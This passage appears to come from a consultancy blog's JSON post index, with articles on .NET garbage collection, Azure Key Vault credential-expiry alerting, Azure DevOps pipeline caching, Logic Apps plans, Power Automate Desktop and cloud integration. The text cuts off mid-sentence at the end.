Anlass auch dazu nutzen, Microsofts Extension zur OpenAPI-Definition zu verwenden. Diese bietet eine umfangreiche Anpassbarkeit der APIs und somit auch einen großen Mehrwert für die Konsumenten der APIs.\nUm die Änderungen und Anpassungen nachvollziehen zu können, gelangst du hier direkt zum Repo und dem zugehörigen Commit .\n","date":"19. April 2023","image":"\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\u003cimg loading=\"lazy\" decoding=\"async\" src=\"/images/post/open-api-azure-functions_huca7e47ddb87093cc8c957da43c222041_136654_650x0_resize_q90_h2_box.webp\" alt=\"\" class=\" rounded image-postlist w-100\" width=\"650\" height=\"\" onerror=\"this.onerror='null';this.src='\\/images\\/post\\/open-api-azure-functions_huca7e47ddb87093cc8c957da43c222041_136654_650x0_resize_q90_box.jpg'\"\u003e\n \n \n \n\n","permalink":"/openapi-mit-azure-functions/","tags":[".net"],"title":"OpenAPI mit Azure Functions"},{"categories":["Insights"],"contents":"Waste separation is good for the environment. So is making our software more efficient and sustainable . I don\u0026rsquo;t know if the .NET developers at Microsoft thought of that, but they kind of applied a similar concept in the design of their garbage collector regarding the separation of small from large objects. Good to know? Yes, because this internal behaviour has considerate performance implications to keep in mind when dealing with large amounts of memory, for example when deserializing big JSON files.\nTL;DR:\nFor better application performance use appropriate Stream implementations when dealing with potentially large objects \u0026gt; 85.000 Bytes to prevent them landing on the Large Object Heap (LOH).\nWhat does a Garbage Collector do? Just like in real life, garbage collection does an indispensable job of keeping our places clean of all the trash we produce in the course of our lives. Most of the time, it does this more or less in the background without us noticing. Without it, we would eventually drown in all the leftovers of our own consumables. It\u0026rsquo;s basically the same with .NET applications. During their lifetime, they consume computer memory to cache objects and data to work with. However, this memory is limited and must be freed at some point after allocation. The .NET garbage collector (GC) as part of the Common Language Runtime (CLR) is exactly that piece of software responsible for managing our applications memory for us, so we don\u0026rsquo;t have to; in contrast to low-level languages like C.\nGeneration gap The .NET GC is a so called generational garbage collector. That means, it separates the memory it manages (the managed heap) into multiple generations which can be visualized as logical partitions. As memory is allocated and released, those partitions may become fragmented over time and have to be compacted. A cycle where memory is released and compacted is called a collection. For obvious reasons, it is more efficient to perform a collection over a generation than to walk over the whole managed heap. Considering also that newer objects have a statistically shorter lifetime than long-lived objects and have to be collected more frequently, the managed heap is divided into three generations (0, 1 and 2). Short-lived objects live in generation 0, while long-lived objects reside in or get promoted to generation 2 over time. Generation 1 serves as a buffer in-between. As lower generations are collected with every higher generation\u0026rsquo;s collection, too, a performance-wise expensive generation 2 collection is called a full garbage collection. These generations contain small objects only and therefore form the so called Small Object Heap (SOH). Large objects are treated a bit different and land on a special Large Object Heap (LOH).\nLarge waste New objects live in generation 0. But there is an exception to that. If those new objects are very large - over 85.000 Bytes by default, to be precise - they deserve a special place in hell which is called the Large Object Heap (LOH) and is sometimes referred to as generation 3. The LOH is a physical generation which is logically collected upon full garbage collection with generation 2. As compaction is even more expensive here, the GC skips it completely for generation 3. Instead, fragmented dead objects are linked together on release forming a list of adjacent free space to be potentially reused at a later point in time on another large object alocation request.\nThere is an exceptionally well written section in the Microsoft Docs on garbage collection in .NET where I acquired most of this knowledge from. I strongly recommend that article to the interested reader for more details on the topic.\nOkay, so what are the major performance implications here?\nFirst is allocation cost. When you request memory from the Runtime the CLR actually makes a guarantee that the allocated memory you get is cleared (all bits set to 0). This takes time. Even more so for large objects.\nSecond is collection cost. When you allocate a large object and exceed the LOH threshold, a full garbage collection is triggered. A full GC gets provoked especially often when allocating temporary large objects. Performance impact is highest in that scenario if generation 2 contains a lot of data to be collected.\nNow, what can we as developers do about that when dealing with large objects? Streams to the rescue.\nGarbage shredding The best approach when dealing with large objects is to prevent them landing on the LOH in the first place by just dividing them into smaller chunks and handling only each chunk at a time. That is exactly what the most common implementations of the System.IO.Stream class will do for us.\nYou also cut your big cardboard boxes into pieces before throwing them out in the trash can, right? So, next time you handle that large JSON file - do not read the entire string into memory but deserialize from a Stream instead. See Newtonsoft performance tips for a good example.\nMaking our software more efficient is one easy way for us developers to directly help the environment. If you\u0026rsquo;re interested in what else can be done to build more sustainable software I recommend to have a look at our other blogpost about Green IT .\n","date":"12. April 2023","image":"\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\u003cimg loading=\"lazy\" decoding=\"async\" src=\"/images/post/about-garbage-collection-in-dotnet_hu62fd0e227fc38ad40e1e3cef3b25b0cd_604460_650x0_resize_q90_h2_box.webp\" alt=\"\" class=\" rounded image-postlist w-100\" width=\"650\" height=\"\" onerror=\"this.onerror='null';this.src='\\/images\\/post\\/about-garbage-collection-in-dotnet_hu62fd0e227fc38ad40e1e3cef3b25b0cd_604460_650x0_resize_q90_box.jpg'\"\u003e\n \n \n \n\n","permalink":"/garbage-collection-and-large-objects-in-.net/","tags":[".net"],"title":"Garbage Collection and large Objects in .NET"},{"categories":["How To"],"contents":"The worst time for an essential credential to expire is exactly when you need it. That is, of course, always when it happens. APIs are suddenly unreachable, pipelines fail…it\u0026rsquo;s not good. But in a project with dozens or even hundreds of such credentials, it can be difficult to keep track of pending expiration dates.\nIn this post, I want to describe how my team recently addressed this challenge. A brief glimpse of the complexity: our team manages multiple Azure DevOps projects, eight Azure Key Vaults and ten App Registrations, containing hundreds of certificates, secrets, and other credentials, spread across three Azure tenants, for our own team as well as dozens of internal customers. Far too much to monitor manually.\nThe requirements In planning our solution, we had the following requirements:\nWe should be alerted proactively about any credential due to expire in a specified time frame. The resulting remediation tasks should be trackable. It should work for the multiple sub-projects run by our team. The whole thing should be automated. The solution Azure CLI The Azure CLI offers great programmatic access to Azure resources and Azure DevOps and is the workhorse of the scripts we wrote for this feature. We filter for all Key Vaults belonging to our subscriptions. The expiration date of each key, certificate, and secret is read out and compared to a time frame, for example fourteen days, provided to the script as a variable. If the expiration date lies within this time frame, it is written to a JSON file, along with the name of the credential and which Key Vault it is in. The client secrets for app registrations governed by our team are handled by a similar script.\nThe JSON file produced by these scripts provides all the information we need to remediate soon-to-expire credentials and satisfies our first requirement. But it\u0026rsquo;s unwieldy: nobody actually wants to read a JSON file, and even then there\u0026rsquo;s no good way to keep track of which credentials we\u0026rsquo;ve rotated.\nTo address our second requirement, namely work tracking, another script makes use of the az boards commands to read out the JSON file produced by the previous script and create an Azure DevOps Task for each item in the file. The task contains all the information needed to renew the credential: its name, in which Key Vault or App Registration it can be found, and when the expiration date is.\nSo far so good, but we need good organization and an easy way to filter for our sub-projects. To organize them all into a single user story, the script generates a new user story at the beginning of each sprint and, in subsequent runs, adds a parent link from each task to that user story (az boards work-item relation add). The fields parameter of the work-item create command allows us to programmatically assign to each task the sub-project System Tags we already use every day. Additionally, using the wiql (Work Item Query Language) parameter of the az boards query command, we run a custom query to determine if there are any tasks already created for that credential, with the status \u0026ldquo;Active\u0026rdquo; or \u0026ldquo;New\u0026rdquo;. If so, no new task will be created. Here we ignore tasks with status \u0026ldquo;Closed\u0026rdquo;, because, in the event the \u0026ldquo;expiration dates\u0026rdquo; scripts have found a corresponding credential, it means additional attention is needed: perhaps the task was erroneously closed by a developer before updating the credential. And thus our third requirement is satisfied.\nAzure Pipelines Finally, it all comes together in an Azure yaml pipeline. Using a template, the pipeline iterates through our sub-projects and executes the above scripts for each one. In addition, we implemented a Webhook to send Teams notifications to our common channel, in the event of any alerts. The result is a fully-automated (requirement four!) alerting solution with work tracking via Azure DevOps in a defined User Story for each sprint.\nWe use the Azure DevOps suite of products start to finish, but a similar solution integrating GitHub or Jenkins with Jira or Trello would also work.\nThe next steps The next item on our agenda is incorporating automated certificate rotation to reduce manual effort. In the meantime, we can rest easy knowing our credentials won’t silently expire at an inopportune moment.\n","date":"30. März 2023","image":"\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\u003cimg loading=\"lazy\" decoding=\"async\" src=\"/images/post/credentials-alerting_hu9da5da4797506b1f8cdc4da1d923db56_146054_650x0_resize_q90_h2_box.webp\" alt=\"\" class=\" rounded image-postlist w-100\" width=\"650\" height=\"\" onerror=\"this.onerror='null';this.src='\\/images\\/post\\/credentials-alerting_hu9da5da4797506b1f8cdc4da1d923db56_146054_650x0_resize_q90_box.jpg'\"\u003e\n \n \n \n\n","permalink":"/certificates-secrets-and-keys-oh-my/","tags":["azure-devops","idm"],"title":"Certificates, Secrets and Keys, Oh My! "},{"categories":["Quick-Tipps"],"contents":"Schneller ist besser, sagen die Kollegen. Verbrauch mal nicht so viel Bandbreite, sagen sie. Recht haben sie. Das Zauberwort heisst Cache.\nDie Älteren werden sich erinnern, dass man früher selbst den Versand von HTML-formatierter Email kritisch sah, weil diese ja viel mehr Kilobytes benötigte als ihr nur-Text-Pendant. Ist alles Schnee von gestern, seit heute selbst Updates für Spiele leicht viele Gigabyte Download beanspruchen.\nAber es macht immer noch Sinn, Downloads zu begrenzen: In der Continuous-Integration-Pipeline, kurz CI. Warum? Dort wird immer wieder Software gebaut und je nach Teamgröße kann dies durchaus hunderte Mal am Tag passieren, in nur einem Team. All die npm install und mvn package laden benötigte Daten jedes Mal frisch herunter, auch Docker-Images sind für ihren Datenhunger bekannt.\nWarum brauchen wir so viele Daten? Kaum eine Programmiersprache kommt heute ohne einen Paketmanager aus, durch den Abhängigkeiten für das aktuelle Projekt erfüllt werden. Unser derzeitiges Projekt verwendet neben Javascript/Typescript auch Spring Boot mit Maven. Die großen Datenmengen sehen so aus:\nTyp Ort Größe Frontend NPM ./node_modules 669 MB Backend 1 Maven ~/.m2/repository 126 MB Backend 2 Maven ~/.m2/repository 93 MB 888 MB an Abhängigkeiten, allein zum Bauen der drei Teile. Knapp 87 Gigabyte Download pro Tag, nur weil unser Projekt ständig baut. Holy bandwidth, batman!\nMeet cache Der Azure-DevOps-Task Cache@2 bietet sich an, dieses Problem zu lösen: Anstatt diese Datenmenge ständig neu herunterzuladen (und damit Infrastruktur und NPM/Maven zu belasten), können wir die heruntergeladenen Daten in der Azure-Welt zwischenspeichern. Sie müssen dann zwar immer noch auf den Agenten geladen werden, dies ist aber viel schneller als der Download aus dem weiten Internet.\nDabei ist der Cache@2 Task Werkzeug-agnostisch: Jedes Tool, das Daten im Filesystem speichert, kann prinzipiell mit dem Cache-Task verwendet werden. Neben den angesprochenen Tools NPM und Maven finden sich Hinweise zur Konfiguration mit Ruby, Ccache, Docker, Go, Gradle, .NET, Yarn, Python und PHP.\n## establish NPM cache - task: Cache@2 displayName: Cache NPM inputs: key: \u0026#39;npm | \u0026#34;$(Agent.OS)\u0026#34; | package-lock.json\u0026#39; path: \u0026#34;$(Pipeline.Workspace)/.npm\u0026#34; ## Install Node Modules - task: Npm@1 displayName: Install NPM packages inputs: command: ci workingDir: \u0026#34;$(working_directory)\u0026#34; In diesem Beispiel erzeugen wir den Cache für das Frontend-Modul, welches NPM verwendet. Die genaue Konfiguration ist stets abhängig vom jeweiligen Paketmanager, die Dokumentation hält zahlreiche Beispiele bereit. Am Rande: Wusstest du, dass die Quellen aller Azure-DevOps-Tasks auf Github öffentlich sind?\nFallstricke \u0026ldquo;There are only two hard things in Computer Science: cache invalidation and naming things.\u0026rdquo;\nPhil Karlton\nEin Cache ist eine tolle Sache, solange bis er nicht richtig funktioniert. Der Cache@2 Task von Azure kümmert sich um das Problem der Cache-Identifikation, indem ein oder mehrere ID-Bestandteile zu einem Fingerprint zusammengeführt werden. Im Beispiel oben sind das die drei mit | getrennten Teile des Attributes key:\n\u0026quot;npm\u0026quot; - ein fester String $(Agent.OS) - eine Azure-Laufzeitvariable, bei uns zumeist \u0026quot;Linux\u0026quot; die Datei package-lock.json bzw deren MD5 Hash. Wenn sich die Datei package-lock.json verändert (die ihr natürlich alle brav im git versioniert, richtig?) dann ändert sich der dritte Bestandteil der Cache-Identifikation - und damit die gesamte ID. Dadurch wird ein neuer Cache erstellt, welcher beim ersten Mal befüllt wird.\nHier muss man aufpassen: Manche build-Tools verändern die als Identifikation angegebene Datei. So verändert der Maven@4 Task und seine Vorgänger die Datei pom.xml, deren Verwendung als Identifikation eigentlich selbstverständlich ist. Lösung: Man kopiert die Datei vor der Veränderung und benutzt die Kopie als Cache-Bestandteil:\n## make backup of pom.xml because Maven task will change it and break cache id - script: cp pom.xml pom.xml.orig ## establish Maven cache - task: Cache@2 displayName: Cache Maven local repo inputs: key: \u0026#39;maven | \u0026#34;$(Agent.OS)\u0026#34; | pom.xml.orig\u0026#39; path: $(Pipeline.Workspace)/.m2/repository ## build, this will change the original pom.xml - task: Maven@4 displayName: Build \u0026amp; Test inputs: options: --no-transfer-progress goals: package mavenPOMFile: pom.xml mavenOptions: \u0026#34;-Dmaven.repo.local=$(Pipeline.Workspace)/.m2/repository\u0026#34; Tipp: Alte Caches müssen nicht abgeräumt werden, da sie 7 Tage nach der letzten Verwendung automatisch gelöscht werden. Auch erzeugen Caches keine Extrakosten, danke Microsoft.\nFazit Caching verkürzt unsere Pipeline-Zeiten erheblich, ist gut für unser Projekt und alle anderen Nutzer der Infrastruktur - und sollte daher in jedem Azure-CI-Projekt Verwendung finden. Viel Spaß beim Cachen!\n","date":"20. März 2023","image":"\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\u003cimg loading=\"lazy\" decoding=\"async\" src=\"/images/post/azure-devops-cache-for-speed_hu46486c7ea04ef4c044f1d65c5df6cd9e_533981_650x0_resize_q90_h2_box.webp\" alt=\"\" class=\" rounded image-postlist w-100\" width=\"650\" height=\"\" onerror=\"this.onerror='null';this.src='\\/images\\/post\\/azure-devops-cache-for-speed_hu46486c7ea04ef4c044f1d65c5df6cd9e_533981_650x0_resize_q90_box.jpg'\"\u003e\n \n \n \n\n","permalink":"/azure-devops-cache-for-speed/","tags":["azure-devops","azure"],"title":"Azure DevOps Cache for Speed"},{"categories":["Insights"],"contents":"Mit den Logic Apps bietet Microsoft eine Serverless-Low-Code-Plattform, mit der schnell und einfach Enterprise-Business-Prozesse abgebildet und implementiert werden können. Durch viele Standardkonnektoren, der visuellen Darstellung und Erweiterung um eigene Konnektoren können sowohl simple, wie komplexere Prozesse umgesetzt werden.\nNun hat Microsoft neben der Variante \u0026ldquo;Consumption\u0026rdquo; auch eine neue, die sogenannte \u0026ldquo;Standard\u0026rdquo; veröffentlicht. Da mich die Logic Apps in der Consumption-Variante bereits schon länger begleiten, bin ich natürlich auf die Verbesserungen und Unterschiede zwischen Consumption und Standard gespannt. Und genau darum geht es in diesem Beitrag: Ich möchte einen Überblick über die Logic App Standard und die Unterschiede zu Consumption geben.\nWird ein neuer Standard gesetzt? Wenn man eine neue Logic App erstellen möchte, hat man beim Plan nun die Auswahl zwischen Consumption und Standard. Dabei wird der Consumption-Plan keineswegs als deprecated gekennzeichnet o.ä., vielmehr versteht sich der neue Standard-Plan als Ergänzung zum bestehenden Consumption-Plan.\nBei der Auswahl des Standard-Plans wird ein URL-Name für die Logic App benötigt - ähnlich zur Azure Function.\nUnd genau hier liegt bereits der erste Unterschied. Die Logic Apps Standard stellen nicht einen einzelnen Workflow bereit, sondern ähnlich zu den Azure Functions einen (Workflow) Service-Plan und darin wiederum die eigentliche Logic App Standard mit mehreren Workflows. Die Logic App Standards basieren auf der Function Runtime.\nZusätzlich befinden sich einige Properties direkt in der Logic App Standard, hierzu gehören die Configuration (App Settings), Parameter und Connections.\nDie Worfklows teilen sich die Ressourcen und somit auch die Rechenleistung des gemeinsamen Workflow-Service-Plans.\nStandard-Workflows: Stateful und Stateless Beim Erstellen eines Workflows gibt es die Auswahl zwischen Stateful und Stateless:\nStateful: Der Stateful-Workflow bildet grundsätzlich einen asynchronen Workflow ab. Die Besonderheit hierbei besteht darin, dass die Inhalte eines Laufs extern in einem Speicher gesichert werden. Hierdurch werden Zustände dauerhaft persistiert abgelegt, was bei einem Ausfall von Vorteil ist oder wenn man einen Lauf erneut ausführen (Resubmit) möchte. Stateless: Dieser Workflow eignet sich für kurzlaufende Workflows (ca. 5 Minuten). Die Informationen eines Laufs werden \u0026ldquo;In Memory\u0026rdquo; gehalten. Somit eignet sich diese Art von Workflow z.B. für die Weiterleitung von Events und (Vor-) Verarbeitung dieser. Diese Worfklows können auch nur synchron ausgeführt werden. Somit sind Stateful-Workflows einfach ausgedrückt das Äquivalent zu den Logic Apps Consumption.\nKosten und Hosting Logic App Consumption und Standard Bei der Logic App Consumption wird jeder Aufruf auf einzelne Konnektoren in Rechnung gestellt. Bei der Standard-Variante ist es ein Workflow-Service-Plan. Somit kann hier auch nicht pauschal auf die neue Standard-Variante verwiesen werden, wenn beispielsweise nur einige wenige Workflows erstellt werden sollen.\nNeben der Bereitstellung der Logic App Standard in Azure kann diese auch als Docker-Container bei (fast) jedem Cloud-Anbieter bereitgestellt werden.\nEntwicklung Logic Apps mit Visual Studio Sowohl Logic Apps Consumption als auch Standard können jeweils im Azure-Portal entwickelt werden. Als Entwicklungsumgebung kann für Consumption Visual Studio (2019) verwendet werden. Visual Studio setzt hierbei auf eine Extension. Allerdings unterstütz Visual Studio 2022 keine Entwicklung für Logic Apps (allgemein), da es eine solche Extension dort nicht gibt.\nFür die Logic App Standard kann zusätzlich Visual Studio Code verwendet werden. Damit können die Standard-Workflows grundsätzlich auch lokal ausgeführt und getestet werden.\nWas verwende ich wann? Wann verwende ich Consumption? Wann verwende ich Standard? Zum Schluss stellt man sich natürlich die Frage: Was nehme ich nun? Die Antwort lautet wie so oft: Es kommt drauf an.\nWenn man neu in der Entwicklung von Logic Apps ist und erst einmal simpel starten möchte, eignet sich der Start mit der Consumption-Variante.\nBei der Verwendung einer Logic App Standard muss immer betrachtet werden, dass der Service-Plan konstante Kosten verursacht. Wenn man also nur wenige Workflows plant und diese zusätzlich auch selten ausgeführt werden, eignet sich auch hier die Consumption-Variante.\nEs empfiehlt sich hier wie gesagt, klein zu starten (Consumption). Wenn im weiteren Verlauf festgestellt wird, dass deutlich mehr Workflows und Ausführungen die Folge sind, können diese auch in eine Standard-Logic-App übertragen werden.\nNur die Logic App Standards unterstützen VNets. Wenn man also auf virtuelle Netzwerke und private Endpunkte angewiesen ist, muss zwangsläufig die Standard-Variante ausgewählt werden.\n","date":"2. März 2023","image":"\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\u003cimg loading=\"lazy\" decoding=\"async\" src=\"/images/post/logic-apps-der-neue-standard_hua5c1b21bfb94ab42a5f324e7d955ac5f_143535_650x0_resize_q90_h2_box.webp\" alt=\"\" class=\" rounded image-postlist w-100\" width=\"650\" height=\"\" onerror=\"this.onerror='null';this.src='\\/images\\/post\\/logic-apps-der-neue-standard_hua5c1b21bfb94ab42a5f324e7d955ac5f_143535_650x0_resize_q90_box.jpg'\"\u003e\n \n \n \n\n","permalink":"/logic-apps-consumption-vs.-standard/","tags":["automation","low-code"],"title":"Logic Apps: Consumption vs. Standard"},{"categories":["Insights"],"contents":"We are developers. We are lazy. We want to automate repetitive tasks. And yes, we are quite capable of writing small scripts in order to do that. But do we want to? We have to organize, maintain, update, schedule them by ourselves. I don\u0026rsquo;t want to put in too much effort automating my stuff and rather focus on real work to do. And when I see those citizen developers dragging and dropping their low code solutions together real quick and with ease, I think to myself - \u0026ldquo;well, that\u0026rsquo;s exactly what I\u0026rsquo;d like to use for automation, too\u0026rdquo;.\nPower Automate Desktop Shiny new thing that comes pre-installed with Windows 11 for creating automations on the desktop. Power Automate is a low-code platform that enables home and business users to optimize their workflows and automate repetitive and time-consuming tasks. Now available for the everyone as an App for your Windows system. And it indeed is awesome - we can choose from more than 400 premade actions to orchestrate our system, tasks and applications and it even allows us to record and replay mouse and keyboard activities. This is Microsofts take on robotic process automation (RPA) and it reminds me a bit of the old times when I used to play around with AutoIt . Probably, Power Automate Desktop as a ubiquitous low-code solution will make tools and languages like AutoIt obsolete in the near future. Let me know on social media what you think about that.\nAnyways, isn\u0026rsquo;t it nice we get the full low-code experience for automation tasks from the cloud to the desktop?\nDo we, actually? \u0026ldquo;That\u0026rsquo;s what I was looking for!\u0026rdquo;, I thought to myself.\nCurrently, I\u0026rsquo;m using Windows Package Manager to keep my installed 3rd party applications updated by opening a command line from time to time and executing the rather long and hard to remember oneliner\nwinget upgrade --all --silent --force --accept-source-agreements --disable-interactivity --include-unknown and then go grab a coffee ☕.\nLet\u0026rsquo;s automate that simple task by scheduling execution of the oneliner every week or so.\nFor executing the oneliner, there is a descriptive and configurable commandline action in Power Automate Desktop. Perfect! Now, over on how to run that periodically. I know there is a recurrence trigger in Power Automate cloud flows, so I was intuitively looking around for where to configure triggers to my desktop flow - just to realize there aren\u0026rsquo;t any. We can only run a desktop flow by clicking on it. What a bummer! After a bit of research I found out there is a possibility for work or school accounts to register their machines in the cloud in return to be able to run desktop flows on that machines from within cloud flows, which then again can be recurrence-triggered for example. A bit tedious, requires corresponding security roles and is unavailable for home users. Okay, a script-like experience is also fine to start with - let me create a desktop shortcut of my flow so I can just double-click to run it when I feel like it\u0026rsquo;s time to update again.\nPower Automate Desktop \u0026gt; My Flows \u0026gt; More \u0026gt; Create desktop shortcut\n\u0026hellip; and it\u0026rsquo;s greyed out. Premium feature. Next bummer!\nAt this point I want to cite myself stating at the beginning of this post that\n\u0026ldquo;I don\u0026rsquo;t want to put in too much effort automating my stuff and rather focus on real work to do.\nand stopped.\nMy thoughts Power Automate Desktop as an automation solution for home and business users on the desktop is well documented, nice looking, easy to use and feature-rich regarding the actions to choose from. It is really worth it to give it a try if you haven\u0026rsquo;t done so yet! Currently, it lacks straight-forward functionality to get productive for me and didn\u0026rsquo;t live up to the expectations I had coming from the cloud. I would love to see Power Automate Desktop become even more accessible to everyone and support a broader range of use cases by implementing cloud features like triggers. Other than manually starting desktop flows. Like easily scheduling them. Which is what I did in the end using the old Windows Task Scheduler in my case.\nI love Power Automate Cloud Flows and implementing low-code solutions where appropriate! Because of the familiarity and ubiquity, I think Power Automate Desktop has the potential to fill that gap for a fully blown UI automation tool on the desktop, so I would love to manage everything nice and tidy within it. Including triggers.\n","date":"22. Februar 2023","image":"\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\u003cimg loading=\"lazy\" decoding=\"async\" src=\"/images/post/the-my-view-on-power-automate-desktop_hu3a2d22655d43c657b4c1ec50f6887398_73074_650x0_resize_q90_h2_box.webp\" alt=\"\" class=\" rounded image-postlist w-100\" width=\"650\" height=\"\" onerror=\"this.onerror='null';this.src='\\/images\\/post\\/the-my-view-on-power-automate-desktop_hu3a2d22655d43c657b4c1ec50f6887398_73074_650x0_resize_q90_box.jpeg'\"\u003e\n \n \n \n\n","permalink":"/my-view-on-power-automate-desktop/","tags":["low-code","automation"],"title":"My view on Power Automate Desktop"},{"categories":["Insights"],"contents":"Systeme vernetzen, Daten kombinieren, analysieren und ganzheitliche Entscheidungen treffen Viele Unternehmen stehen vor der Herausforderung, dass ihre IT-Anwendungen und Umgebungen nicht miteinander vernetzt sind. Zum Beispiel nutzen unterschiedliche Abteilungen wie Finanzen, Vertrieb, Produktion, Lager, und Personalwesen, unterschiedliche Systeme. So sind die Prozesse sowie Daten nicht verbunden und einheitlich.\nDie Lösung: eine Integrationsstrategie\nDeshalb benötigen Unternehmen eine Integrationsstrategie, nach der sie die unterschiedlichen Systeme und Prozesse zukunftsfähig aufsetzen und modernisieren und sie miteinander vernetzen.\nWir sind Experten für Cloud-Integrationen und entwickeln Cloud-Lösungen. Wir unterstützen Unternehmen, ihre Strategie und ihre Digitalisierung auf ein neues Level zu heben. Wir entwickeln cloud-native Lösungen, migrieren und modernisieren Anwendungen und IT-Landschaften und sorgen für eine nahtlose Vernetzung von Anwendungen und Daten in der Cloud, als Hybrid-Cloud-Lösung oder in Multi-Cloud-Umgebungen.\nUnser Ziel: Unternehmen für die digitalen Anforderungen von Morgen aufstellen.\nJetzt Erstgespräch anfragen Inhaltsverzeichnis Was ist Cloud-Integration? Warum Cloud-Integration? Arten von Cloud-Integrationen Vorteile von Cloud-Integrationen Welche Systeme verbinden bei Cloud-Integration? Microsoft-Cloud-Integration Erfolgreiche Cloud-Integrationsprojekte Was ist Cloud-Integration? Cloud-Integration bedeutet die Verbindung von Cloud-Anwendungen untereinander. Das ist auch hybrid mit On-premise-Anwendungen möglich. Ziel der Cloud-Integration ist es, Prozesse und Daten zwischen unterschiedlichen Quellen zu vernetzen. So können innerhalb eines Unternehmens dieselben Daten in Echtzeit und Standort-unabhängig verfügbar sein. Insbesondere für international agierende Unternehmen oder solche mit komplexen Strukturen und vielen Vertriebsgesellschaften sind unternehmensweit einheitliche Daten und Schnittstellen ein entscheidender Faktor entlang der Supply Chain.\nEin Beispiel für Cloud-Integration: Wird in einem international tätigen Unternehmen ein neuer Auftrag für einen Kunden angelegt, soll dieser in allen Systemen, wie im CRM und im ERP inklusive aller Abrechnungssysteme, zeitnah für alle Mitarbeitenden sichtbar und zugreifbar sein.\nWarum Cloud-Integration? Cloud-Integration vereinheitlicht, verzahnt und beschleunigt Prozesse im Unternehmen, sodass Kunden schneller und gesamtheitlicher bedient werden können. Durch Cloud-Integration können Unternehmen Daten kombinieren, Analysen erstellen und mittels Artificial Intelligence (AI) komplexe Zusammenhänge durchschauen sowie Prozesse durch Hyperautomation beschleunigen und umfänglich optimieren.\nNachfolgend erläutern wir, worauf es bei der Cloud-Integration ankommt und warum sie für Unternehmen so wichtig ist:\nArten von Cloud-Integrationen On-premise-Anwendungen „On premise“ bedeutet übersetzt „in den eigenen Räumen“ und bezeichnet Anwendungen und Services, die auf einer physikalischen Umgebung liegen, beispielsweise auf einem Firmen-Server. Um mit anderen Cloud-Anwendungen vernetzt werden zu können, müssen On-premise-Anwendungen entweder in die Cloud migriert oder für die Cloud-Integration technisch modernisiert werden.\nHybride Cloud-Integration Bei einer hybriden Cloud-Integration gibt es sowohl Cloud-Systeme als auch On-premise-Systeme. Sollen diese miteinander vernetzt werden, spricht man von einer hybriden Cloud-Integration.\nMulti-Cloud-Integration Bei einer Multi-Cloud-Integration werden Systeme von verschiedenen Plattform-Anbietern miteinander verbunden, es wird also zum Beispiel eine Verbindung hergestellt zwischen Systemen einer Azure-Umgebung und einer AWS-Umgebung. Häufig handelt es sich bei Multi-Cloud-Architekturen um historisch gewachsene IT-Architekturen in großen Unternehmen, in denen unterschiedliche Bereiche mit vielfältigen, komplexen Prozessen und Daten arbeiten. Durch eine Multi-Cloud-Integration können die sonst in Silos gesammelten Daten übergreifend geteilt und genutzt werden, beispielsweise für wertvolle Analysen und neue Anwendungsfälle.\nHier geht es zu einer Success Story mit unserem Kunden HDI, für den wir eine Integrationsplattform zur Multi-Cloud-Integration entwickelt und eingeführt haben.\nWir beraten Sie bei der Entscheidung, ob und wie Anwendungen migriert oder für die Cloud-Integration modernisiert werden und unterstützen bei Bedarf bei der Darstellung Ihrer Digitalstrategie für verschiedene Stakeholder im Unternehmen. Jetzt Erstgespräch anfragen Vorteile von Cloud-Integration Zeitgemäß: Durch eine Migration oder Modernisierung von Anwendungen bereiten Sie Ihre IT-Landschaft auf die datengetriebenen Anforderungen von Heute und Morgen vor.\nZukunftssicher: Die meisten Anbieter stellen ihre Services und Lösungen nur noch in Cloud-Varianten bereit. Mit einer Cloud-Integration und einem zentralen API-Management können Sie künftige Anwendungen ganz einfach mit ihren bestehenden Lösungen verbinden.\nDaten und Informationen als wertvolle Güter- und Wettbewerbsvorteile: Daten- und Prozessvernetzung durch Cloud-Integration sowie Datenanalysen und KI\nSchnell: Möglichkeit, Cloud-Anwendungen und Cloud-Infrastrukturen dynamisch auf Unternehmensbedarfe anzupassen.\nKosteneffizient: Häufig preisgünstiger als bei einer On-premise-Lösung durch sogenanntes Pay-as-you-go-Preismodell (PAYG, nur so viel bezahlen, wie wirklich in Anspruch genommen wurde, anstatt von fixen Preisbereichen abhängig zu sein) sowie Kostenkontrolle bei Einsatz einer Cloud-Management-Plattform.\nSkalierbar: Bei erhöhtem oder verringertem Datenverbrauch passt sich die Cloud automatisch an.\nFlexibel: Services können durch einfache Konfiguration jederzeit hinzu gebucht werden und Möglichkeit einer flexiblen und automatisierten Reaktion von Anwendungen auf „Lastspitzen“.\nMinimierung von Administrationsaufwand vor Ort (z.B. Wegfall von Instandhaltung und Ersetzung einzelner Komponenten vor Ort sowie weniger Aufwände für die Sicherung der Räumlichkeiten, Entlastung der IT-Abteilung, Back-Ups etc.).\nFokussiert: Konzentration auf die Anwendungen und das Kerngeschäft im Unternehmen.\nGlobale hohe Verfügbarkeit: Auf Anwendungen und Daten in der Cloud kann jederzeit von überall zugegriffen werden, unabhängig vom Endgerät oder Standort.\nWelche Systeme verbinden bei Cloud-Integration? Beispiele für Systeme und Anwendungen, die bei einer Cloud-Integration untereinander vernetzt werden können:\nCRM-Systeme ERP-Systeme eCommerce-Systeme Office-Anwendungen (z.B. Microsoft 365) IAM-Systeme Systeme von zugekauften Unternehmen Systeme von externen Dienstleistern (Supply Chain Management) Microsoft-Cloud-Integration Cloud Architecture Integration Seit 2010 bieten wir Cloud-Architekturberatung für 